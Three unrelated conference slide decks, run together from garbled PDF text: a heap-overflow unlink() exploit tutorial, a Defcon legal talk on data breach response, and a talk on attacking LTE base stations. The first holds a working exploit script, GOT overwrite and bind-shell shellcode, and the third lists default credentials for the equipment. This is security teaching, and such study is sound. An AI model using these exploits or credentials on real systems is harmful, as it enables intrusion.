bk                               |              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+              | (old memory, can be zero bytes)  | nextchunk ­> | prev_size ...                    |              :                                  : * If prev buffer is used, prev_size is just part of the  buffer.  If not, it is the length of the previous chunk. ** The least­significant­bit indicates whether the previous  chunk is in use.  If the number is odd, PREV_INUSE is set 0x0503 – Got a map... ● fd and bk are used to write to memory when unlink() is called to collapse two chunks together. Basically: *(fd+12) = bk *(bk+8) = fw ● This happens when collapsing “forward” ● This happens when collapsing “backward” 0x0504 – Got two hands... ● bk = 0x80496c4 ● Imagine this is the GOT entry for “free()” ● fw = 0x804a0e8 ● imagine this is the location of another buffer we control ● mem= ”\xb8\x96\x04\x08” + “\xe8\xa0\x04\x08” + "D"*92 + “\xfc\xff\xff\xff" + ”PAD0” + “\xfc\xff\xff\xff" + ”\xb8\x96\x04\x08” + “\xe8\xa0\x04\x08” 0x0505 – Flashlight Anyone? ● We are basically setting the following chunk to be “unused”, and setting both up for collapse, which works the magic ● This approach allows for both forward collapsing and reverse collapsing... – If our chunk is free()-d, we're good – If the following chunk is free()-d, we're good ● The end result is our 32bit integer being placed virtually anyplace we like. ● GOT is writeable, so why not? 0x0506 - Gotchas... ● There are a couple gotchas with exploiting unlink()... – shellcode + 8 is clobbered. Can't help it. – I put “\xeb\x0eAA” + “AAAA” + ”AAAA” + ”AAAA” to start off shellcode. ● 0xeb is the 'jmp byte-offset' opcode ● 0x0e is the jmp len (0x10 including opcode) ● A's are just easy, but could be C's or any spacer ● Could do shorter, but this better illustrates what's happening (“\xeb\x0aAAAAAAAAAA”) ● Modern glibc-2.5 includes a sanity check during unlink() which causes trouble 0x0600 – hackme.c #include <stdio.h> #include <stdlib.h> #include <string.h> main(){ char* buffers[5]; int loop; for (loop=0; loop<5; loop++){ buffers[loop] = calloc(1,101); } for (loop=4; loop>=0; loop­­){ gets(buffers[loop]); } for (loop=0; loop<5; loop+=2){ printf("%s\n",buffers[loop]); free(buffers[loop]); } for (loop=1; loop<5; loop+=2){ printf("%s\n",buffers[loop]); free(buffers[loop]); } } 0x0601 – hackme details $ gcc ­o ../hackme hackme.c /tmp/cc2wCFc6.o: In function `main': hackme.c:(.text+0x54): warning: the `gets' function is dangerous  and should not be used. $ objdump ­R hackme hackme:     file format elf32­i386 DYNAMIC RELOCATION RECORDS OFFSET   TYPE              VALUE 080496a4 R_386_GLOB_DAT    __gmon_start__ 080496b4 R_386_JUMP_SLOT   __gmon_start__ 080496b8 R_386_JUMP_SLOT   gets 080496bc R_386_JUMP_SLOT   calloc 080496c0 R_386_JUMP_SLOT   __libc_start_main 080496c4 R_386_JUMP_SLOT   free 080496c8 R_386_JUMP_SLOT   puts 0x0602 – Heap Memory (clean) (gdb) x/84wx 0x804a000 0x804a000:      0x00000000      0x00000071      0x00000000      0x00000000 0x804a010:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a040:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a070:      0x00000000      0x00000071      0x00000000      0x00000000 0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a0e0:      0x00000000      0x00000071      0x00000000      0x00000000 0x804a0f0:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a100:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a110:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a120:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a130:      0x00000000      0x00000000      0x00000000      0x00000000 0x804a140:      0x00000000      0x00000000      0x00000000      0x00000000 0x70 | 0x01 = 112bytes | PREV_INUSE 0x0603 - Exploit import os import struct shelllin="\x31\xdb\x53\x.....” at = 0x80496b8      # address to overwrite to = 0x804a0e8      # address of shellcode ataddy = struct.pack('L', at) toaddy = struct.pack('L', to) p=os.popen4('./hackme');o=p[0] o.write("A"*89+"\n") #fluff o.write("B"*89+"\n") #fluff #### Here is our shellcode ­ ends up in 0x804a0e8 # Since the first 16 bytes are considered HEAP ALLOC header, the first  # opcode is a jmp 0x16 followed by A's to fill up the 16 bytes. o.write("\xeb\x0e\x41\x41"+"C"*12+shelllin+"\n")    o.write("D"*89+"\n") #fluff #### Here is our buffer overflow.   o.write("E"*100 +"\xfc\xff\xff\xffPADD\xfc\xff\xff\xff"+ ataddy + toaddy  +"\n") o.flush() 0x0603 – Heap BOF – pre- free() (gdb) x/84wx 0x804a000 0x804a000:      0x00000000      0x00000071      0x45454545      0x45454545 0x804a010:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a020:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a030:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a040:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a050:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a060:      0x45454545      0x45454545      0x45454545      0xfffffffc 0x804a070:      0x44444150      0xfffffffc      0x080496b8      0x0804a0e8 0x804a080:      0x44444400      0x44444444      0x44444444      0x44444444 0x804a090:      0x44444400      0x44444444      0x44444444      0x44444444 0x804a0a0:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0b0:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0c0:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0d0:      0x00000044      0x00000000      0x00000000      0x00000000 0x804a0e0:      0x00000000      0x00000071      0x41410eeb      0x43434343 0x804a0f0:      0x43434343      0x43434343      0x4353db31      0x6a026a53 0x804a100:      0x89995866      0x9680cde1      0x68665243      0x53665c11 0x804a110:      0x666ae189      0x56515058      0x80cde189      0xe3d166b0 0x804a120:      0x525280cd      0xe1894356      0x80cd66b0      0x59026a93 0x804a130:      0x80cd3fb0      0xb0f97949      0x2f68520b      0x6868732f 0x804a140:      0x6e69622f      0x5352e389      0x80cde189      0x00000000 (gdb) x/4wx 0x80496b8 0x80496b8<GOT+16> 0x280bf8b0      0x280cdae0      0x280754a4      0x0804834e -4 “PADD” -4 0x80496c4 - 12 ptr to shellcode about to be clobbered shellcode 0x0604 – Heap BOF – free()!!! (gdb) x/84wx 0x804a000 0x804a000:      0x00000000      0x00000069      0x281885dc      0x281885dc 0x804a010:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a020:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a030:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a040:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a050:      0x45454545      0x45454545      0x45454545      0x45454545 0x804a060:      0x45454545      0x45454545      0x00000068      0xfffffffc 0x804a070:      0x44444150      0xfffffffc      0x080496b8      0x0804a0e8 0x804a080:      0x44444400      0x44444444      0x44444444      0x44444444 0x804a090:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0a0:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0b0:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0c0:      0x44444444      0x44444444      0x44444444      0x44444444 0x804a0d0:      0x00000044      0x00000000      0x00000000      0x00000000 0x804a0e0:      0x00000000      0x00000071      0x41410eeb      0x43434343 0x804a0f0:      0x080496b8      0x43434343      0x4353db31      0x6a026a53 0x804a100:      0x89995866      0x9680cde1      0x68665243      0x53665c11 0x804a110:      0x666ae189      0x56515058      0x80cde189      0xe3d166b0 0x804a120:      0x525280cd      0xe1894356      0x80cd66b0      0x59026a93 0x804a130:      0x80cd3fb0      0xb0f97949      0x2f68520b      0x6868732f 0x804a140:      0x6e69622f      0x5352e389      0x80cde189      0x00000000 (gdb) x/4wx 0x80496b8 0x80496b8<GOT+16> 0x280bf8b0      0x280cdae0      0x280754a4      0x0804a0e8 “PADD” ptr to shellcode shellcode Bam! Clobbered Next call to free() will call our shellcode! 0x0605 – Sweet Success ● This particular shellcode opens a backdoor shell listener on TCP port 4444 (hey hd!) 0x0700 – Stupid, atlas is so stupid! DEMO Smart people don't demo, because Demo's always dork up somehow.. 0x0701 – The bad news #define unlink(P, BK, FD) {          \   FD = P­>fd;                        \   BK = P­>bk;                        \   if (__builtin_expect (FD­>bk != P || BK­>fd != P,  0)) \     malloc_printerr (check_action, "corrupted double­ linked list", P); \   else {                             \     FD­>bk = BK;                     \     BK­>fd = FD;                     \   }                                  \ } 0x0702 – What now? ● EOS Overflow (NULL Overwrite) – Makes all string-manipulator functions treat this and the next buffer as one string ● HEAP Var Modification – Modify other variables on the HEAP ● Find new ways to leverage HEAP BOFs – Creativity is how these were discovered – Leverage what you have... 0x0800 - Resources ● Once upon a free() - – http://www.phrack.org/archives/57/p57-0x09 ● Advanced Malloc Exploits – http://doc.bughunter.net/buffer-overflow/advanced-malloc-exploits.html ● Lin0xx' Amazing RTL Presentation and Notes - – http://www.noxusfiles.com/lin0xx/heap-overwrites-lin0xx.pdf ● Shellcoder's Handbook 0x0900 – Special Thanks ● My Creator ● My Family ● Intelguardians ● kenshoto ● 1@stplace 0x0901 – And the grafiti.. ● yo visi, werd. vtrace wrox. ● drb, you're awesome co-cap'n, even if you are a superstar on the side ● bug, ringwraith, menace, jewel... y'all are worth every struggle ● choops, nologin folks. thku 0x0902 – Stolen Stuff ● Much text was gratuitously stolen from: – “Once Upon a Free()”, anonymous <[email protected]>, phrack 57, http://www.phrack.org/archives/57/p57-0x09 ● Song lyrics by Jennifer Knapp. “Martyrs and Thieves”
pdf
What To Do When Your Data Winds Up p Where It Shouldn’t Don M. Blumenthal Defcon 16 Defcon 16 Las Vegas, Nevada August 9 2008 August 9, 2008 © 2008 – Don M. Blumenthal Disclaimer Disclaimer Opinions expressed are my own and Opinions expressed are my own and intended for informational purposes. They should not be attributed to any y y organization or used as a substitute for direct legal advice. g © 2008 – Don M. Blumenthal Questions and more Questions Questions and more Questions What is PII What is PII What is a Security Breach To Whom Does the Law Apply To Whom Does the Law Apply When and How Is Notice Given Whom Do I Have to Notify? What Do I Offer? How Do I Plan Ahead? © 2008 – Don M. Blumenthal PII Definition - AICPA/CICA PII Definition AICPA/CICA Information related to identified or identifiable individual Name, Address, Telephone, SS # or Other Govt ID Numbers Other Govt ID Numbers Employer, Employment History Credit Card Numbers, Credit History, P h Hi t Purchase History Personal or Family Financial or Medical Information © 2008 – Don M. Blumenthal PII Also May Include PII Also May Include “Sensitive PII” PII Specifying Medical or Health Conditions Racial or Ethnic Origin P liti l O i i Political Opinions Religious or Philosophical Beliefs Trade Union Membership Trade Union Membership Sexual Preferences © 2008 – Don M. Blumenthal Legal Framework Overview US - Sectoral approach to security and i ith t h k f l privacy with patchwork of laws Specific types of records Specific types of institutions Specific types of institutions EU Model - Societal approach EU member states EU member states Argentina, Australia, Canada, Switzerland Hybrid Model Hybrid Model Japan, Chile, APEC No law No law China, India, Philippines, most of South America © 2008 – Don M. Blumenthal Scope Scope Laws concern Laws concern Personal information Personally Identifiable Information Personally Identifiable Information Sensitive Consumer Information Don’t forget Non-consumer data; e g trade secrets Non consumer data; e.g., trade secrets PAPER © 2008 – Don M. Blumenthal Know Relevant Data Security/Privacy Laws G L h Blil A t Gramm-Leach-Bliley Act Fair Credit Reporting Act/Fair and A t C dit T ti A t Accurate Credit Transaction Act Health Insurance Portability and A t bilit A t Accountability Act Family Educational Rights and Privacy Act © 2008 – Don M. Blumenthal Know Other Important Laws Know Other Important Laws FTC Act Section 5 Sarbanes Oxley Act © 2008 – Don M. Blumenthal Know the Regulators Know the Regulators GLBA – eight agencies FCRA/FACTA - FTC Sarbanes Oxley – SEC y HIPAA - HHS FERPA - DoE FERPA DoE © 2008 – Don M. Blumenthal Know the Regulations GLBA – FCRA/FACTA Safeguards, Privacy, Disposal Rules Safeguards, Privacy, Disposal Rules Red Flag Rule in October, 2008 FFIEC guidelines - track GLB Safeguards but set out processes and criteria in more detail HIPAA Security and Privacy Rules SOX S Section 404 © 2008 – Don M. Blumenthal Don’t Forget International laws and directives Common law/private rights of action Private standards Private standards © 2008 – Don M. Blumenthal Common Law Private sector privacy issues Tort Contracts – explicit or implied data protection © 2008 – Don M. Blumenthal Standards - examples Private P C d I d Di i l S i S d d Payment Card Industry-Digital Security Standard (PCI-DSS) ISO; e g 27001 27002 ISO; e.g., 27001, 27002 CoBIT Federal FISMA FIPS 200 NIST 800-53 © 2008 – Don M. Blumenthal But For All of That Only two explicit sets of national y p requirements exist concerning breach response planning Interagency Guidance on Response Programs for Unauthorized Access to Customer Information d C t N ti and Customer Notice FISMA N US t t No non-US government or government alliance has a breach notification requirement requirement © 2008 – Don M. Blumenthal Interagency Guidance Issued by four GLBA agencies y g OCC, Federal Reserve, OTS, FDIC Introduces yet another definition – Sensitive C I f i Consumer Information PII or combination of customer information that would allow someone to log onto or access the would allow someone to log onto or access the customer’s account; e.g., user name and password or password and account number. © 2008 – Don M. Blumenthal Breach Response under Guidance Breach Response under Guidance Must have plan to assess nature & Must have plan to assess nature & scope of incident and identify what PII has been accessed or misused Must notify primary GLBA regulator and other relevant law enforcement Must notify data owners if breach involves Sensitive Consumer Information Information Describe incident and how handled Provide data protection consumer education Provide data protection consumer education and services © 2008 – Don M. Blumenthal FISMA FISMA Requires procedures for detecting Requires procedures for detecting, reporting, and responding to security incidents No requirement of notice to individuals whose information has been whose information has been compromised Application of FISMA and related Application of FISMA and related guidelines outside of federal agencies is a subject of debate j © 2008 – Don M. Blumenthal FTC “Protecting Personal Information” FTC Protecting Personal Information Business education pamphlet/video Business education pamphlet/video Breach response plan is one element Have plan Have plan Designate coordinator Disconnect compromised computer from Disconnect compromised computer from Internet Know applicable laws and regulations pp g Know who should be notified, including consumers © 2008 – Don M. Blumenthal Response Elements Regulators will look for these items Risk based plan, appropriate to size and complexity R th t dd d t d f Response that addressed nature and scope of incident, including what systems and data compromised compromised ○ Even if no prior plan Inform relevant law enforcement Contained and controlled Notified affected parties where appropriate © 2008 – Don M. Blumenthal To Keep Regulators Happy Be proactive Have a comprehensive enterprise security plan, including steps to respond t d t i to data compromise Read cases, regulations, guides, decisions standards decisions, standards Distill and apply to your environment Must plan to prevent/mitigate data Must plan to prevent/mitigate data compromise but also to react well if it happens happens © 2008 – Don M. Blumenthal Enforcement Factors Representations Practices to protect and detect Reasonableness Demonstrable harm Reaction © 2008 – Don M. Blumenthal State and Local Governments State and Local Governments Far ahead in breach notification Far ahead in breach notification As of 04/08: 39 dates 39 dates DC New York City New York City Puerto Rico © 2008 – Don M. Blumenthal Usual State PII Definition First and last name OR last name and first initial - plus Social Security Number OR Drivers’ License Number OR State Identification Number OR State Identification Number OR Debit or Credit Card Number OR + Financial Account Number OR Medical Information OR Health Insurance Information Most state notification laws require PIN or Most state notification laws require PIN or access code be disclosed to include account numbers in definition © 2008 – Don M. Blumenthal Some Common Elements Some Common Elements Personally identifiable information Personally identifiable information Exemptions if data encrypted Check encryption definition yp No exemption if PIN included Delay notice at LE request y q Financial data A few cover medical also Allowable forms of notice Most have some exemption if company covered by federal law such as GLBA © 2008 – Don M. Blumenthal Coverage Issues to Check Coverage Issues to Check Triggers Triggers Access; accessed and “used” Disclosed Disclosed Likely/unliked to have been used Harm likely/unlikely Harm likely/unlikely Who makes determination Whether applies outside jurisdiction Whether applies outside jurisdiction Provisions for third party data holders © 2008 – Don M. Blumenthal Notification Rules Vary Notification Rules Vary How much delay is permissible How much delay is permissible Which state and local agencies to notify Credit reporting agencies Credit reporting agencies May be thresholds that trigger i t requirements © 2008 – Don M. Blumenthal Potential Consequences Differ Potential Consequences Differ Penalties that can be levied by Penalties that can be levied by government Private rights of action Private rights of action © 2008 – Don M. Blumenthal Moving from Law to Reality Moving from Law to Reality Laws regulations and standards Laws, regulations, and standards provide solid guidelines Real world fleshes out for specific Real world fleshes out for specific enterprise and situations © 2008 – Don M. Blumenthal Breach Risk Management Necessities Management commitment to privacy Management commitment to privacy and compliance with laws/regs/etc. Management commitment to maintain g and fund enterprise security and privacy programs Cross-organizational structure with solid communications T t d t i i Targeted training Response plan © 2008 – Don M. Blumenthal Can’t Be Done in Vacuum Can t Be Done in Vacuum Breach response plan must be part of Breach response plan must be part of overall data security plan Coordinate with other information Coordinate with other information management systems Ensures comprehensive approach Ensures comprehensive approach Helps make program more efficient and cost effective cost effective © 2008 – Don M. Blumenthal To Be Able to React to Loss To Be Able to React to Loss Know where data is Know where data is Know what’s in data Know stakeholders Know stakeholders In and outside enterprise K li f th it d Know lines of authority and communication in enterprise D i t t th t ll ll Devise structure that allows all necessary stakeholders to coordinate © 2008 – Don M. Blumenthal Response Plan Elements Response Plan Elements Evidence preservation Evidence preservation Internal crisis communications Customer and other notification; e g Customer and other notification; e.g., employees and retirees I t d l i ti Investor and employee communications © 2008 – Don M. Blumenthal If The Worst Happens Notify necessary individuals in organization According to existing response plan, of course Include business, legal, tech, PR, and HR , g , , , at minimum in response activities Notify law enforcement y Follow LE lead if requested Listen to your in-house subject matter Listen to your in house subject matter experts Document every step of response Document every step of response © 2008 – Don M. Blumenthal Identify Loss Lost PII/SCI Form line of business teams if necessary Provide ongoing legal and business Provide ongoing legal and business guidance to analysts Elements of sensitive data under relevant statutes Necessary combinations to invoke PII or SCI Don’t forget sensitive info that may not have regulatory ramifications; e.g., trade secrets © 2008 – Don M. Blumenthal Engage Outside Counsel Unlikely that in-house staff will have ffi i i sufficient expertise Vet your outside counsel choice Don’t automatically go with usual firm Check qualifications of lawyers working the matter; “X was with the FTC” doesn’t matter; X was with the FTC doesn t necessarily mean that “X has GLBA experience” Engage two organizations if necessary to g g g y have both security/privacy and litigation experience. M k th k t th Make sure they work together © 2008 – Don M. Blumenthal Other Outside Help Forensics May want to cross-check data analyses Especially if loss involves hardware theft Crisis management company Consider hiring organization with experience in g g handling public aspects ○ PR ○ Required notifications Assistance for individuals whose i f ti i d information was compromised © 2008 – Don M. Blumenthal Role of Counsel Role of Counsel Lawyers should be lawyers Lawyers should be lawyers Be careful about “good old boy/girl” network network Don’t necessarily have expertise to choose forensic or other specialists p Ask who is doing data review for PII Are lawyer hourly rates necessary Are lawyer hourly rates necessary © 2008 – Don M. Blumenthal Going Above and Beyond Going Above and Beyond Do the right thing Do the right thing Public perception can be everything Data holders may expect notification Data holders may expect notification and other protections even where not required required Respond positively to press © 2008 – Don M. Blumenthal If Regulators Call Know what the laws require Relevant security/privacy requirements Notification statutes, regs, and guidelines Show respect Don’t play games p y g © 2008 – Don M. Blumenthal Things to Watch - US Report of the President’s Identify Theft Task Force Legislation; e.g. extension of GLBA to all entities and federal breach notification law Application of FISMA and regs to outside holders of federal government data Federal Agency Data Protection Act (HR 4791) Feds must notify victims if data compromised Passed House 06/03/08 © 2008 – Don M. Blumenthal Things to Watch – Outside US Proposed EU breach notification for Privacy and Electronic Communication Directive Canadian Privacy Commissioner voluntary breach notification guidelines; linked to PIPEDA © 2008 – Don M. Blumenthal Questions Later? Q Don M Blumenthal Don M. Blumenthal [email protected] (734) 997 0764 (734) 997-0764 (202) 431-0874 (m) www.donblumenthal.com © 2008 – Don M. Blumenthal
pdf
1 Attacking BaseStations Hendrik Schmidt <[email protected]> / @hendrks_ Brian Butterly <[email protected]> / @BadgeWizard 2 Who we are o Old-school network geeks, working as security researchers for o Germany based ERNW GmbH o Independent o Deep technical knowledge o Structured (assessment) approach o Business reasonable recommendations o We understand corporate o Blog: www.insinuator.net o Conference: www.troopers.de 3 Motivation o The 4G standard introduces a lot of new technologies providing modern services to the customer. o This includes features as VoLTE, SON, ………..Trust and optional controls o BaseStations are the big (and small) antennas in the field o With our research we want to bring visibility to o How the environment works o What providers do o What vendors do 4 5 Introduction A 4G/LTE Telecommunication Network 6 4G Core eUTRAN UE eNodeB MME PDN-GW Serv-GW HSS IMS S1-MME S1-U OSS S1-MME IP Network 7 Typical Environment? Source: worldlte.blogspot.com 8 Typical Environment? 9 The Idea 1. Understand BaseStation Setup 2. Purchase an old BaseStation out of the field 3. Get BS running in an emulated environment 4. Perform an evaluation of configuration & security 10 What we need: Basestation Physical Setup o Base Band Unit (BBU) o Usually standing on the ground o Including Power Distribution Unit (PDU) and Power Supply Unit (PSU) o Remote Radio Head/Unit (RRH/RRU) o May be placed on the cell mast or on the ground o Antenna o Come in various shapes and sizes o Nowadays often vector antennas o All active parts are interconnected o BBU, RRU, sensors, power supply, vents 11 o Components run on -48V o Not +-48V (96V differential) o Basically just 48V connected the other way round o Basically receives raw RF signals via Fiber and sends them out via Copper o Towards the antenna o Usually capable of serving a specific frequency band Power Supply RRU 12 o Frame for holding power unit and functional blades o Sometimes have a backplane for interconnection between components o Arbitrary PCB connectors o Multiple interfaces (LAN, UART, Arbitrary, CAN) o Functional blades decide the network type o Ericsson: DUL/DUW/DUG -> Digitial Unit LTE/WCDMA/GSM o Slots for multiple blades o Single BBU could serve GSM and WCDMA o Depends highly on specific BBU and blade combination o Single blade can serve multiple cells o Using sector antennas a single mast could i.e. serve 4 cells in 4 different directions Most important Unit: the BBU 13 Variants of an eNodeB o Come in different shapes and sizes. o Rack, “Small-Boxes“, Portable o Different types for different size cells. o Macro (>100m), Micro (100m), Pico (20-50m), HeNB (10-20m) o (WiFi/WiMax) o Termination Point for Encryption o RF channel encryption o Backend channel encryption 14 Implementing a Lab Just a Quick HowTo 15 Ebay  Some helpful words: Nokia - FlexiBTS Huawei – BBU + LMPT/UMPT Ericsson – RBS + DUL ALU – MBS 16 Lab Setup – What You Need o A Basestation o The RRU is optional if you just want to play with the BTS itself o Power Supply o -48V ~ 5A will be sufficient o Power Connectors o Good luck ;-) o The devices sometimes have strange plugs, so you might need some time to find or make them o Stack of network cables 17 18 Our Lab  Let‘s start reconnaissance! 19 o GPS o For timing or positioning (during setup) o EC o Equipment Control o AUX o Auxiliary Bus o LMT A o Local maintenance terminal A o LMT B o Local maintenance terminal B o TN A o Backhaul Access – S1 o IDL o Inter-DUL-Link o TN B o Backhaul Access – S1 o A, B, C, D, E, F o Interfaces towards RRU Ericsson RBS6601 - DUL RJ-45 & Gbic Interfaces 20 The First Sniff  21 Let‘s get Started! o The most important interfaces of our setup: o Vlan 3: Signalling o Vlan 2: O&M o You see a lot of traffic, the eNB is designed to operate almost as standalone  Not that many modifications needed 22 The Second Sniff 23 23 Attacking the BS o Signalling Traffic o Local Maintenance Interface o Remote OAM Interface o Physically o Our goals: Understanding the device, configuration access and finally – getting root  Keep in mind: this is a real BTS like out in the field 24 The Transport Interface Access to, or How to Build Your Own Provider Network 25 S1-Interface o S1 interface is divided into two parts o S1-MME (Control Plane) o Carries signalling messages between base station and MME o S1-U (User Plane) o Carries user data between base station and Serving GW X2 S1-MME S1-U 26 S1-Interface o After the host 10.27.99.169 on VLAN 2 becomes available the eNodeB activates communication over the S1-Interface o Using SCTP it tried to reach 7 different hosts by SCTP INIT request to establish a connection 27 From 3GPP TS 33.401 o “In order to protect the S1 and X2 control plane as required by clause 5.3.4a, it is required to implement IPsec ESP according to RFC 4303 [7] as specified by TS 33.210 [5]. For both S1-MME and X2-C, IKEv2 certificates based authentication according to TS 33.310 [6] shall be implemented” o “NOTE 1: In case control plane interfaces are trusted (e.g. physically protected), there is no need to use protection according to TS 33.210 [5] and TS 33.310 [6].” o “In order to protect the S1 and X2 user plane as required by clause 5.3.4, it is required to implement IPsec ESP according to RFC 4303 [7] as profiled by TS 33.210 [5], with confidentiality, integrity and replay protection.” o “NOTE 2: In case S1 and X2 user plane interfaces are trusted (e.g. physically protected), the use of IPsec/IKEv2 based protection is not needed.” o “In order to achieve such protection, IPsec ESP according to RFC 4303 [7] as profiled by TS 33.210 [5] shall be implemented for all O&M related traffic, i.e. the management plane, with confidentiality, integrity and replay protection.” o “NOTE 2: In case the S1 management plane interfaces are trusted (e.g. physically protected), the use of protection based on IPsec/IKEv2 or equivalent mechanisms is not needed.” 28 S1-AP o S1 Application Protocol (S1AP), designed by 3GPP for the S1 interface o Specified in 3GPP TS36.413 o Necessary for several procedures between MME and eNodeB o Also supports transparent transport procedures from MME to the user equipment o SCTP Destination Port 36412 29 S1AP and X2AP Functions Overview o E-RAB management functions (setup, management, modifying) o An ”Initial Context transfer” function to establish a S1UE context in the eNodeB to setup E-RABs, IP connectivity and NAS signaling. o UE Capability Info Indication function: providing UE capability information. o Mobility functions for UE, active in LTE network in case of change of the eNodeB or RAN (e.g. location change). o Paging: provides the capability for the MME to page the UE. o NAS signaling transport o S1 UE context release/modification functions: modify and release UE context information o Status transfer: transferring Packet Data Convergence Protocol (PDCP) SN, defined at [31], o status information between two eNodeBs. o Trace functions o Location Reporting functions o LPPa (LTE Positioning Protocol Annex) signaling transport: providing the transfer of LPPa messages between eNodeB and E-SMLC. o S1 CDMA2000 tunneling functions: carrying CDMA2000 signaling messages between the UE and the CDMA2000 RAT. o Warning message transmission o RAN Information Management (RIM) functions: transferring RAN system information between two RAN nodes. o Configuration Transfer functions: requesting and transferring RAN configuration information 30 Let‘s get Started! o S1-MME: Basically, only the S1 Setup Request is needed. o fake_mme.py 31 Working with S1AP o After S1 Setup Request, a couple of messages can be sent. o S1AP Scanner published in the past (www.insinuator.net) o S1AP_enum o S1AP Dizzy Scripts o New scripts: o fake_mme.py o sctp_mitm.py 32 Operations & Maintenance Network Attacking the Local and Remote Maintenance Interface 33 OAM Network o After the host 10.27.99.173 on VLAN 3 becomes available the eNodeB starts searching for an NTP o It also tries to establish a TCP session to some management system 34 Nmap Results Increasing send delay for 10.27.99.174 from 0 to 5 due to 45 out of 149 dropped probes since last increase. Nmap scan report for 10.27.99.174 Host is up, received arp-response (0.00042s latency). Scanned at 2015-12-28 19:16:02 CET for 842s Not shown: 65529 closed ports Reason: 65529 resets PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 (protocol 2.0) | ssh-hostkey: | 1024 39:6b:50:b5:68:ea:cf:f9:1b:85:48:dc:cb:5f:9c:dc (DSA) | ssh-dss AAAAB3NzaC1kc3MAAACBAKjBoRJD3xs/PDF7i8Zh6VVNlnykkT0aZ/OJoZM0Qb/2Zm1SruM5bYkwAczqstUWXygtgSTmP4 Dv5VHNkmR5Gb5KIe2e5GXNp4HACdAVjThkpBzK27ai+Pj+CXIHQxHcZIMgJyQDA29oCg5KFk9lbtdDkiocabW/KyuAQmxB0 mIVAAAAFQCPdjPIB+E7/0QKPKXG0pcRgIibLQAAAIBLD689UE2fmlufS53dHWsgxm9SsGD4GgP4bnRfV+G494PNfimiVv0W oqAeDFtVqQLIxZHU2pJ275kgRyDHcp4fTaPssxZpIjyVNiZkjLjDVeZb8D562E4PnG3BVFy2VcMrq4klbO02wKwE5zQrLQfGf7O o1rv81+1OdpZzU3N48wAAAIEAhj3FTj4i2s8vKEVXzUtdK081YHhyvOJO77niYmJ+jG2IOtt4tJpuNfvdc19ab2wtrqerQ1R6KTA9 2InhktEZvS2e4peeVho0htYoDlDQTybpw5v/LaX8c0/7vtcKJt7On+A0rZwCAd2ScQxNKpcyJAqNf9J+esFJXo9KONWkpms= | 1024 e8:c6:48:a5:f8:7b:ed:c3:6b:30:86:a6:42:c6:04:a6 (RSA) |_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAz4L21u3pCegfIuLO+iz8te/XmrNhNSeCFf9SCwd8GYL7D1yktvdhn3kFPb+4gwM2B+sIn hs0TM6+bt7HfW7AU0cPTMy3kgLxvOKU9V+Sm8QzvZSJkkKmbfnwRHY7IVvFSHNZPghWupcDUb7h7z+h3Q3BlcZP7ZQIFPd 3zXEyxIM= 23/tcp open telnet syn-ack ttl 64 80/tcp open http syn-ack ttl 64 WEBS - OSE web server | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: WEBS - OSE web server |_http-title: 404 URL Not Found 8443/tcp open tcpwrapped syn-ack ttl 64 |_xmlrpc-methods: ERROR: Script execution failed (use -d to debug) 56834/tcp open unknown syn-ack ttl 64 35 Maintenance Terminals o The workflow 1. Fault-State of BaseStation (NoService) 2. Engineer moves on-site 3. Engineer connects to BTS with $tool 4. Engineer accesses debug information 5. Engineer adjusts configuration 36 37 LMT Software Installation ... and Windows XP … 38 39 40 “Setting up and configuring eNBs shall be authenticated and authorized so that attackers shall not be able to modify the eNB settings and software configurations via local or remote access. ” o But, anyhow: 4G BaseStations are yet another Network Device with IP connection. From 3GPP TS 33.401 More on eNB Security 41 What we see o FTP, Telnet, and SSH o EM with totally outdated Java o EM is not asking for a password o EM is based on HTTP and GIOP o Transmits current configuration data of the BTS o Configuration changes can be made o Unauthorized! 42 o Username: rbs / cellouser o Password: rbs Well... 43 Webserver o Running WEBS - OSE web server o EM Download o XML Configuration o Java JDK (1.1.6, 1.2.1, 1.3.1, 1.4.2, 1.5.0, 1.6.0) o Somehow, not very load resistant  Leading to a DoS of the whole machine 44 Insights “No magic behind” 45 What We’ve Seen so far o The device was obviously not wiped o No IPSEC on S1 interface o Hardcoded & default credentials o rbs – rbs o cellouser - rbs o Telnet in use o Unencrypted maintenance interface 46 Well… o RTOS OSE 5.5 o Running on a Motorola MPC 85xx o Assisted by FPGA + ARM o GZIP Volumes and Files o Starting with 1F 8B o Holding the OS on a Flashdisk 47 o Image must be flipped first o PPC Binaries have format of *.ppc.elf.strip.pl.conf o Files are gziped  Enables us to extract configuration data (e.g. IPSec keys) and to do reverse engineering The Disk 48 $ rld rld Displaying ramlog virtual range 0x0 - 0x3af7 __RAMLOG_SESSION_START__ 0.000:BOS 